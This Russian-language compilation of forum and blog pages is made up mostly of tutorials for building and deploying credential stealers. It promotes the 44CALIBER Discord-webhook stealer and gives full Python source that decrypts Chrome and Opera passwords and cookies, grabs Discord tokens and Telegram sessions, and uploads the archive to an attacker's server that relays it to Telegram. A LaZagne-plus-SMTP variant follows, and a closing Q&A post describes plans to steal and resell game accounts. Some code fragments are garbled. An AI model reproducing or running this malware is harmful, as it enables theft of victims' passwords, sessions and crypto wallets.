Бесплатный стиллер с отправкой логов в Discord
Всем привет, это моя первая самописная статья на этом канале.
У меня аж мурашки по коже от этого)
❗ВНИМАНИЕ❗(обновление 11.07.23)
Статья довольно популярна, поэтому хочу сказать, что данный стиллер потерял свою актуальность уже давно, также имеются у многих трудности при установке и настройке. Поэтому, рекомендую изучить Phemedrone Stealer, исходный код которого есть на GitHub. Также, Phemedrone Stealer будет проще в установке и настройке.
Ссылка на GitHub: https://github.com/nullixx/Phemedrone-Stealer
Телеграм-канал разработчиков: https://t.me/freakcodingplace
В этой статье я расскажу вам о таком стиллере, как 44CALIBER.
Стилер (Stiller) — это вредоносное программное обеспечение, предназначенное для кражи сохраненных в системе паролей и отправке их хакеру.
У него имеется поддержка Chrome v80+, Firefox v75+;
Крадёт VPN-аккаунты, крипто-кошельки, аккаунты VimeWorld(Minecraft), Steam-аккаунты, FTP, достает BSSID, токен и сессию Discord и так далее. В общем, возможностей у него достаточно.
Его главная особенность — отправка логов прямо в ваш канал в Discord при помощи интеграции Discord под названием «Discord Webhook API».
Вебхук (Webhook) – один из основных инструментов автоматизации сервера Discord. Он позволяет автоматически оповещать пользователей о любых событиях и обмениваться информацией со сторонними ресурсами. Например, это может быть новое видео на каком-либо канале или информация по поводу сервера, ролей на нем.
Таким образом, при первом же «попадании в цель», наш стиллер отправит вам на канал всю информацию о жертве, которая запустила его.
Для чего это нужно?
Банально, чтобы получить доступ к кошелькам жертвы, получить какую-либо ценную информацию о нём и так далее. Способов применения стиллера огромное множество и как его использовать — решать только вам.
Установка и настройка
Для начала, скачаем сам архив стиллера с официальной страницы на GitHub: https://github.com/razexgod/44CALIBER
Также, установим Visual Studio — она нам пригодится для сборки нашей программы: https://visualstudio.microsoft.com/ru/downloads/
- Первым делом создадим наш канал в Discord(информация на этот счёт есть интернете), по желанию добавим ему название и аватарку(любую).
- Создадим чат, куда будут приходить наши логи и куда мы подключим наш Вебхук.
- Настраиваем вебхуки:
Создаем свой стиллер на Python
LOLZTEAM
Создаем cтиллер на Python!
Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.
Больше интересных статей на нашем форуме: https://lolz.guru/articles/
Подписывайтесь на канал и делитесь ссылкой на статью с друзьями!
Всем привет. В этой статье я покажу, как сделать стиллер на Python с отправкой в Telegram и привязать его к хостингу.
Зачем нужна привязка к хостингу?
Ответ прост — если сделать отправку напрямую в телеграм, то токен бота можно перехватить и так красть ваши логи. Поэтому мы сделаем так, чтобы наш стиллер сначала отправлял лог на наш сервер, и потом уже сервер отправлял нам лог в Telegram.
Покупаем хостинг. Лично я советую этот из-за своей небольшой цены на хостинги. Операционную систему ставим Ubuntu 20.
После покупки скачиваем PuTTY, вводим туда IP-адрес хостинга и нажимаем «Соединиться». В логин пишем root, в пароль пишем пароль, который нам пришёл в письме (пример ниже)

Сам пароль во время ввода будет не виден, так надо, не пугайтесь. Важно! Когда будете вводить пароль, не вписывайте туда русские буквы, иначе вы не сможете их стереть и вам придётся заново всё вводить.
Вошли в систему. Для начала нам нужно обновить все уже существующие пакеты и скачать другие, необходимые нам для работы сервера.
sudo apt-get update sudo apt-get install python3 sudo apt-get install python3-pip sudo apt-get install python3-venv sudo apt-get install nano sudo apt-get install screen pip3 install Flask pip3 install pytelegrambotapi
После установки всех нужных нам пакетов вводим:
mkdir server python3 -m venv server source server/bin/activate cd server
С помощью этих команд мы создаём папку server и активируем в ней «виртуальное окружение» для сервера.
Затем нам нужно создать в папке server файл с нашим API для загрузки файлов.
from flask import Flask, render_template, request, jsonify from werkzeug.utils import secure_filename from telebot import TeleBot TOKEN = "" userid = 12345678 tb = TeleBot(token=TOKEN) app = Flask(__name__) delete_file_from_db_after_upload = False @app.route("/uploadfile", methods=["GET", "POST"]) def upload_file(): if request.method == "POST": print(request.files) ft = request.files.get("file") if ft is None: return jsonify(error="your request has no files") filename = f"uploaded/" ft.save(filename) with open(filename, "rb") as f: tb.send_document(userid, f, timeout=10) f.close() if delete_file_from_db_after_upload: os.remove(filename) return "1" else: return jsonify(error="POST request is required")
В самом коде в строке TOKEN = » « в кавычки вставляем токен вашего телеграм бота, а в строке userid = 12345678 вместо 12345678 вставляем user id вашего аккаунта в телеграм. Также, если вы хотите, чтобы файлы после отправки в телеграм удалялись из памяти сервера, в строке delete_file_from_db_after_upload = False вставляем True вместо False.
Закрываем файл сочетанием клавиш CTRL+X, вам предложит сохранить файл, соглашаемся, нажав букву Y.
После создания файла вписываем команды:
screen -S server export FLASK_APP=server.py export FLASK_ENV=development export FLASK_RUN_PORT=8000 export FLASK_RUN_HOST=0.0.0.0 flask run
Поздравляю! Вы запустили сервер, который принимает логи и отправляет их вам в тг. Но это ещё не всё. Теперь к самому главному.
На этом этапе отходим от сервера и работаем с пк.
Скачиваем последний Python 3 и Nuitka (она нам потребуется для компиляции в .exe файл).
Заходим в смд и пишем:
python -m pip install pypiwin32 python -m pip install pycrypto python -m pip install Pillow
Затем создаём файл .py и пишем код:
import sqlite3 import shutil import os import win32crypt import json from base64 import b64decode from Crypto.Cipher import AES import re import platform import requests from PIL import ImageGrab import random import psutil from distutils.dir_util import copy_tree serverip = "" serverlink = f"http://:8000/uploadfile" def get_masterkey(path): with open(path, "r") as f: masterkey = b64decode(json.loads(f.read())["os_crypt"]["encrypted_key"])[5:] f.close() return win32crypt.CryptUnprotectData(masterkey, None, None, None, 0)[1] def screenshot(): ss = ImageGrab.grab() ss.save("Скриншот.jpg") def ip_and_location(): r = requests.get("http://ip-api.com/json").json() return "IP: <>\nСтрана: <>\nГород: <>\nКоординаты: <>, <>".format(r["query"], r["country"], r["city"], r["lat"], r["lon"]) def specs(): uname = platform.uname() geninfo = f"Операционная система: \n" geninfo += f"Имя пк: \n" geninfo += f"Процессор: \n" return geninfo def processes(): proclist = "" for proc in psutil.process_iter(): proc.dict = proc.as_dict(["username", "name"]) if proc.dict.get("username") is None: continue if os.getlogin() in proc.dict.get("username"): proclist += proc.dict.get("name") + "\n" with open("Диспетчер задач.txt", "w") as f: f.write(proclist) f.close() def get_info(): with open("Основная информация.txt", "w") as f: f.write(specs() + ip_and_location()) f.close() processes() screenshot() def cdupper(): os.chdir(os.path.split(os.getcwd())[0]) def cookies_decrypt(cpath, keypath): cookdata = "" dbname = os.path.split(cpath)[1]+".db" shutil.copy(cpath, dbname) conn = sqlite3.connect(dbname) c = conn.cursor() c.execute("SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value FROM cookies") for host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value in c.fetchall(): try: decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode("utf-8") or value or 0 except: decrypted_value = AES.new(get_masterkey(keypath), AES.MODE_GCM, nonce=encrypted_value[3:3+12]).decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:]) cookdata += str(host_key) + "\t" + str(is_httponly) + "\t/\t" + str(is_secure) + "\t" + str(expires_utc) + "\t" + str(name) + "\t" + str(decrypted_value.decode()) + "\n" conn.close() os.remove(dbname) return cookdata def passwords_decrypt(cpath, keypath): passdata = b"" dbname = os.path.split(cpath)[1]+".db" shutil.copy(cpath, dbname) conn = sqlite3.connect(dbname) c = conn.cursor() c.execute("SELECT action_url, username_value, password_value FROM logins") for action_url, username_value, password_value in c.fetchall(): action_url = action_url.encode("utf-8") username_value = username_value.encode("utf-8") try: decrypted_value = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1].decode("utf-8") except: iv = password_value[3:15] payload = password_value[15:] cipher = AES.new(get_masterkey(keypath), AES.MODE_GCM, iv) decrypted_value = str(cipher.decrypt(payload)[:-16], "utf-8", "ignore") passdata += b"URL: " + action_url + b"\nUsername: " + username_value + b"\nPassword: " + decrypted_value.encode() + b"\n\n" conn.close() os.remove(dbname) return passdata def chrome_cookies(): keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State" dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Chrome).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Chrome) #2.txt", "w") as f: f.write(cookdata) f.close() def chrome_passwords(): keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State" dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Chrome).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Chrome) #2.txt", "wb") as f: f.write(passdata) f.close() def opera_cookies(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera Stable\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Opera).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Opera) #2.txt", "w") as f: f.write(cookdata) f.close() def opera_passwords(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Opera).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Opera) #2.txt", "wb") as f: f.write(passdata) f.close() def operagx_cookies(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Opera GX).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Opera GX) #2.txt", "w") as f: f.write(cookdata) f.close() def operagx_passwords(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Opera GX).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Opera GX) #2.txt", "wb") as f: f.write(passdata) f.close() def find_token(path): path += "\\Local Storage\\leveldb" tokens = [] for file_name in os.listdir(path): if not file_name.endswith(".log") and not file_name.endswith(".ldb"): continue for line in [x.strip() for x in open(f"\\", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]\.[\w-]\.[\w-]", r"mfa\.[\w-]"): for token in re.findall(regex, line): tokens.append(token) return tokens def discord_token(): rad = os.getenv("APPDATA") lad = os.getenv("LOCALAPPDATA") dcpaths = [rad + "\\discord", rad + "\\discordcanary", rad + "\\discordptb", lad + "\\Google\\Chrome\\User Data\\Default"] for dcpath in dcpaths: if not os.path.exists(dcpath): dcpaths.remove(dcpath) if dcpaths != []: tokenslist = find_token(dcpaths[0]) tokens = "\n".join(tokenslist) else: tokens = "Discord не установлен!" with open("Discord Токены.txt", "w") as f: f.write(tokens) f.close() def telegram_ssfn(): diskletters = ["A", "B", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"] pcdisks = ["C"] for i in diskletters: if os.path.exists(i + ":\\"): pcdisks.append(i + ":\\") tgpath = "" for i in pcdisks: for root, dirs, files in os.walk(i): if "Telegram.exe" in files: tgpath = root break if tgpath != "": filelist = os.listdir(tgpath+"\\tdata") for i in filelist: if i == "D877F783D5D3EF8C": copy_tree(tgpath+"\\tdata\\"+i, i) break if __name__ == "__main__": os.chdir(os.getenv("TMP")) r = requests.get("http://ip-api.com/json").json() filename = "<>_<>".format(r["countryCode"], r["query"]) os.mkdir(filename) os.chdir(filename) os.mkdir("Браузеры") os.chdir("Браузеры") chrome_passwords() chrome_cookies() opera_passwords() opera_cookies() operagx_passwords() operagx_cookies() cdupper() os.mkdir("Другое") os.chdir("Другое") discord_token() telegram_ssfn() cdupper() get_info() cdupper() shutil.make_archive(filename, "zip", filename) shutil.rmtree(filename) with open(f".zip", "rb") as f: req = requests.post(serverlink, files=).text print(req) f.close() os.remove(f".zip")
В строке serverip = «» в кавычки вписываем IP-адрес вашего сервера.
Вкратце что он умеет:
- Кража паролей и куки из браузеров Chrome (80+ версия поддерживается), Opera и Opera GX
- Кража токенов дискорд
- Кража папки-сессии Telegram Desktop
Закрываем файл и вводим в смд:
cd Desktop nuitka --standalone --output-dir=deploy-nui --onefile --windows-product-version=1.0.0 --windows-company-name=qwerty *путь до вашего файла*
Ждём пока всё скомпилируется, после компиляции заходим в появившуюся у вас на рабочем столе папку deploy-nui и видим там .exe файл вашего стиллера. Поздравляем! Теперь у вас есть свой стиллер, который выгружает логи к вам в телеграм без риска перехвата логов!
Стиллер на Python с отправкой по почте
Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.
Что для этого нужно?
- Python 3.x.x
- Инструмент для восстановления паролей(в нашем случае LaZagne)
- Два аккаунта Google
И так начинаем
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.
У нас должна получится такая структура:
Пишем код
Откроем файл main.bat и поместим туда код:
@Echo off laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?
Отправка на почту
Открываем файл send.py и вставляем код:
import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========Код зависящий от сервиса========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #=====Настройки================================= _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files)
Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
Доделываем .bat
Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
send.py del /s "pass.txt"
Сборка
Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
pip install pyinstaller pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«. «) и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоваться проверять на работоспособность.
Как написать стиллер для SAMP?
Драсьть! Сегодня на Аризоне в SAMP я решил поискать клады(не закладки). Часов в 5 я нашел его, вдруг на клад телепортируется кладмен и ворует его у меня, я решил написать стиллер и закинуть его в беседу этих «хороших людей» и выставить их аккаунты на продажу, чтоб просто отомстить им за убитое время, нервы и силы других людей, и еще мне просто деньги нужны.
Лучший ответ
если челы не дебилы, то просто проверят твой скрипт на наличие стиллера. Да и к тому же сейчас у всех двухфакторка стоит
Pavel GulikovichПрофи (671) 10 месяцев назад
Остальные ответы
